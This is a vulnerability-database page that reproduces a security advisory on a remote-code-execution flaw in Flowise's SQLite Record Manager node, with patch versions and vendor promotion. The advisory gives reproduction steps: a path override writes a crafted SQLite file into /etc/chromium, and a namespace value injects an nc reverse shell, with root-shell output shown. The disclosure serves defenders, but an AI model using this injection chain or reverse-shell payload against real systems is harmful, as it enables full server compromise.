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GHSA-x3hf-7cj6-3r4m flowise

Fix: FlowiseAI/Flowise#6464

GHSA-x3hf-7cj6-3r4m is a Code Injection vulnerability in flowise. A fix is available for flowise — see the affected versions and patch details below.

Flowise RCE via SQLite Record Manager Node

Also known asCVE-2026-69259
Published
Aug 4, 2026
Updated
Aug 4, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Sep 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-x3hf-7cj6-3r4m.

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs51th percentile — riskier than 51% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

2 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

0other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
flowisenpm
3Kdownloads / week
flowise-componentsnpm
3Kdownloads / week

Description

============================================================================= Security Advisory elttam

Topic: Flowise RCE via SQLite Record Manager Node

Module: FlowiseAI/Flowise Disclosed: 24-Apr-2026 Credits: Alex Brown Affects: FlowiseAI/Flowise 3.1.2

I. Background

Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.

Flowise allows users to connect to a local SQLite database for record management of Upsert Vector Store operations.

II. Problem Description

The database path for the "SQLite Record Manager" node could be overridden using the additionalConfig input, as demonstrated in the following code snippet.

https://github.com/FlowiseAI/Flowise/blob/[email protected]/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts

class SQLiteRecordManager_RecordManager implements INode {
    ...
    async init(nodeData: INodeData, _: string, options: ICommonObject): Promise<any> {
        const _tableName = nodeData.inputs?.tableName as string
        const tableName = _tableName ? _tableName : 'upsertion_records'
        const additionalConfig = nodeData.inputs?.additionalConfig as string <1>
        const _namespace = nodeData.inputs?.namespace as string
        const namespace = _namespace ? _namespace : options.chatflowid
        const cleanup = nodeData.inputs?.cleanup as string
        const _sourceIdKey = nodeData.inputs?.sourceIdKey as string
        const sourceIdKey = _sourceIdKey ? _sourceIdKey : 'source'

        let additionalConfiguration = {}
        if (additionalConfig) {
            try {
                additionalConfiguration = typeof additionalConfig === 'object' ? additionalConfig : JSON.parse(additionalConfig)
            } catch (exception) {
                throw new Error('Invalid JSON in the Additional Configuration: ' + exception)
            }
        }

        const database = path.join(process.env.DATABASE_PATH ?? path.join(getUserHome(), '.flowise'), 'database.sqlite') <2>

        const sqliteOptions = {
            database,
            ...additionalConfiguration, <3>
            type: 'sqlite'
        }

        const args = {
            sqliteOptions,
            tableName: tableName
        }

        const recordManager = new SQLiteRecordManager(namespace, args)

        ;(recordManager as any).cleanup = cleanup
        ;(recordManager as any).sourceIdKey = sourceIdKey

        return recordManager
    }
}

<1> The additionalConfig input was user controllable.

<2> The intended SQLite database path.

<3> Keyword argument expansion of the additionalConfiguration variable after the database variable, which allows overwriting the preceding database setting.

An attacker could abuse this weakness to write an SQLite database to an arbitrary filepath, which includes system directories since the flowiseai/flowise:3.1.2 Docker image runs as root.

However, unlike the Flowise RCE via SQL Database Chain Node vulnerability, the executed SQL query was not user controllable and the tableName input was validated to match the /^[a-zA-Z0-9_]+$/ regex pattern, as shown in the following code snippet.

https://github.com/FlowiseAI/Flowise/blob/[email protected]/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts

class SQLiteRecordManager implements RecordManagerInterface {
    ...

    sanitizeTableName(tableName: string): string {
        // Trim and normalize case, turn whitespace into underscores
        tableName = tableName.trim().toLowerCase().replace(/\s+/g, '_')

        // Validate using a regex (alphanumeric and underscores only)
        if (!/^[a-zA-Z0-9_]+$/.test(tableName)) { <1>
            throw new Error('Invalid table name')
        }

        return tableName
    }

    ...

    async createSchema(): Promise<void> {
        const dataSource = await this.getDataSource()
        try {
            const queryRunner = dataSource.createQueryRunner()
            const tableName = this.sanitizeTableName(this.tableName) <1>

            await queryRunner.manager.query(` <2>
CREATE TABLE IF NOT EXISTS "${tableName}" (
  uuid TEXT PRIMARY KEY DEFAULT (lower(hex(randomblob(16)))),
  key TEXT NOT NULL,
  namespace TEXT NOT NULL,
  updated_at REAL NOT NULL,
  group_id TEXT,
  UNIQUE (key, namespace)
);
CREATE INDEX IF NOT EXISTS updated_at_index ON "${tableName}" (updated_at);
CREATE INDEX IF NOT EXISTS key_index ON "${tableName}" (key);
CREATE INDEX IF NOT EXISTS namespace_index ON "${tableName}" (namespace);
CREATE INDEX IF NOT EXISTS group_id_index ON "${tableName}" (group_id);`)

            // Add doc_id column if it doesn't exist (migration for existing tables)
            const checkColumn = await queryRunner.manager.query(
                `SELECT COUNT(*) as count FROM pragma_table_info('${tableName}') WHERE name='doc_id';`
            )
            if (checkColumn[0].count === 0) {
                await queryRunner.manager.query(`ALTER TABLE "${tableName}" ADD COLUMN doc_id TEXT;`)
                await queryRunner.manager.query(`CREATE INDEX IF NOT EXISTS doc_id_index ON "${tableName}" (doc_id);`)
            }

            await queryRunner.release()
        } catch (e: any) {
            // This error indicates that the table already exists
            // Due to asynchronous nature of the code, it is possible that
            // the table is created between the time we check if it exists
            // and the time we try to create it. It can be safely ignored.
            if ('code' in e && e.code === '23505') {
                return
            }
            throw e
        } finally {
            await dataSource.destroy()
        }
    }

    ...

    async update(keys: Array<{ uid: string; docId: string }> | string[], updateOptions?: UpdateOptions): Promise<void> {
        if (keys.length === 0) {
            return
        }
        const dataSource = await this.getDataSource()
        const queryRunner = dataSource.createQueryRunner()
        const tableName = this.sanitizeTableName(this.tableName)

        const updatedAt = await this.getTime()
        const { timeAtLeast, groupIds: _groupIds } = updateOptions ?? {}

        if (timeAtLeast && updatedAt < timeAtLeast) {
            throw new Error(`Time sync issue with database ${updatedAt} < ${timeAtLeast}`)
        }

        // Handle both new format (objects with uid and docId) and old format (strings)
        const isNewFormat = keys.length > 0 && typeof keys[0] === 'object' && 'uid' in keys[0]
        const keyStrings = isNewFormat ? (keys as Array<{ uid: string; docId: string }>).map((k) => k.uid) : (keys as string[])
        const docIds = isNewFormat ? (keys as Array<{ uid: string; docId: string }>).map((k) => k.docId) : keys.map(() => null)

        const groupIds = _groupIds ?? keyStrings.map(() => null)

        if (groupIds.length !== keyStrings.length) {
            throw new Error(`Number of keys (${keyStrings.length}) does not match number of group_ids (${groupIds.length})`)
        }

        const recordsToUpsert = keyStrings.map((key, i) => [key, this.namespace, updatedAt, groupIds[i] ?? null, docIds[i] ?? null]) <3>

        const query = `
        INSERT INTO "${tableName}" (key, namespace, updated_at, group_id, doc_id)
        VALUES (?, ?, ?, ?, ?)
        ON CONFLICT (key, namespace) DO UPDATE SET updated_at = excluded.updated_at, doc_id = excluded.doc_id`

        try {
            // To handle multiple files upsert
            for (const record of recordsToUpsert) {
                // Consider using a transaction for batch operations
                await queryRunner.manager.query(query, record.flat())
            }
            await queryRunner.release()
        } catch (error) {
            console.error('Error updating in SQLiteRecordManager:')
            throw error
        } finally {
            await dataSource.destroy()
        }
    }
    ...
}

<1> Validates the tableName input matches the regex pattern /^[a-zA-Z0-9_]+$/.

<2> The SQL command creating the database table, which is not user controllable.

<3> The this.namespace is a user controllable input for the node.

Since the allowed characters of the tableName input were restricted, it was not possible to utilise the same technique from GHSA-pwfj-wh95-7mwp to comment out () characters within the SQLite database file that would cause a syntax error when executed as a shell script. To avoid this limitation, the binary structure of SQLite databases was investigated, where the following output shows the binary structure of the doc_id_index cell using the default upsertion_records table name.

Bytes         Raw    Decoded
──────────────────────────────────────────────────
[3574:3575]   62     payload length = 98
[3575:3576]   04     rowid = 4

── Record Header ──────────────────────────────
[3576:3577]   06     header length = 6
[3577:3578]   17     col 0 = 23  → TEXT 5 bytes   ('index')
[3578:3579]   25     col 1 = 37  → TEXT 12 bytes  ('doc_id_index')
[3579:3580]   2f     col 2 = 47  → TEXT 17 bytes  ('upsertion_records') <1>
[3580:3581]   01     col 3 = 1   → INT8 1 byte
[3581:3582]   7f     col 4 = 127 → TEXT 57 bytes  (CREATE INDEX sql)

── Record Body ────────────────────────────────
[3582:3587]   696e646578     col 0 = 'index'
[3587:3599]   646f635f69…    col 1 = 'doc_id_index'
[3599:3616]   757073657274…  col 2 = 'upsertion_records'
[3616:3617]   05             col 3 = 5  (root page = page 5)
[3617:3674]   43524541544…   col 4 = 'CREATE INDEX doc_id_index ON "upsertion_records" (doc_id)'

<1> \x2f serial type corresponds to a TEXT value that is 17 bytes long.

The length of the table name can be manipulated, and a serial type of ' corresponds to a string that is 13 bytes long. The injected ' could then be used to wrap the problematic () characters within the cell, which is then closed by the namespace input that also contains a reverse shell payload that is executed when Puppeteer launches a Chromium browser reading the malicious SQLite database from a /etc/chromium/*.conf file.

The following steps document the procedure to reproduce this issue:

  1. Import the following Chatflow and configure the OpenAI and Weaviate nodes. Observe that the additionalConfig.database input for the SQLite Record Manager node is set to /etc/chromium/exploit.conf, which is the destination the SQLite database will be created. The tableName input is set to AAAAAAAAAAAAA, so the encoded serial type of its length would be ', and the namespace is set to '$(/usr/bin/nc 172.17.0.1 1337 -e /bin/sh) to close the previous ' and then use command substitution to execute a reverse shell payload. Perform an Upsert Vector Store operation and observe the SQLite database being created at /etc/chromium/exploit.conf.

sqlite-record-rce-poc.json

  1. Import the following Chatflow and perform an Upsert Vector Store operation. When Puppeteer is launched, it will execute chromium-browser that sources all /etc/chromium/*.conf files, triggering the reverse shell payload as shown in the following terminal output.

sqlite-sqlchain-puppeteer-trigger.json

$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 172.17.0.2 40677
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
ps aux
PID   USER     TIME  COMMAND
    1 root      0:13 node /usr/local/bin/flowise start
   18 root      0:00 [sh]
   30 root      0:00 {chromium-browse} /bin/sh /usr/bin/chromium-browser --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-features=Translate,BackForwardCache,AcceptCHFrame,MediaRouter,OptimizationHints --disable-hang-monitor --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-sync --enable-automation --enable-blink-features=IdleDetection --enable-features=NetworkServiceInProcess2 --export-tagged-pdf --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --headless=new --hide-scrollbars --mute-audio about:blank --no-sandbox --remote-debugging-port=0 --user-data-dir=/tmp/puppeteer_dev_chrome_profile-AnFBBC
   31 root      0:00 /bin/sh
   33 root      0:00 ps aux

III. Impact

An authenticated user on a Flowise instance using the published Docker image could exploit this vulnerability to achieve RCE, resulting in full compromise of the application.

IV. Solution

Consider performing the following remediation activities:

  • Ensure that the additionalConfig input could not be abused to overwrite the database property to an arbitrary file path.

  • Use a low-privileged user for container runtimes instead of the privileged root user, since the root user has file access to the entire filesystem of the container.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
📦npmflowiseall versions3.1.3npm install flowise@3.1.3
📦npmflowise-componentsall versions3.1.3npm install flowise-components@3.1.3

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update flowise to 3.1.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-x3hf-7cj6-3r4m is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-x3hf-7cj6-3r4m can be triaged on real exposure rather than presence alone.

Tailored to GHSA-x3hf-7cj6-3r4m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

============================================================================= Security Advisory elttam Topic: Flowise RCE via SQLite Record Manager Node Module: FlowiseAI/Flowise Disclosed: 24-Apr-2026 Credits: Alex Brown Affects: `FlowiseAI/Flowise 3.1.2` # I. Background Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-
O3 Security · Impact-Aware SCA

Is GHSA-x3hf-7cj6-3r4m in your dependencies?

O3 Security finds GHSA-x3hf-7cj6-3r4m across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

GHSA-x3hf-7cj6-3r4m: flowise RCE | O3 Security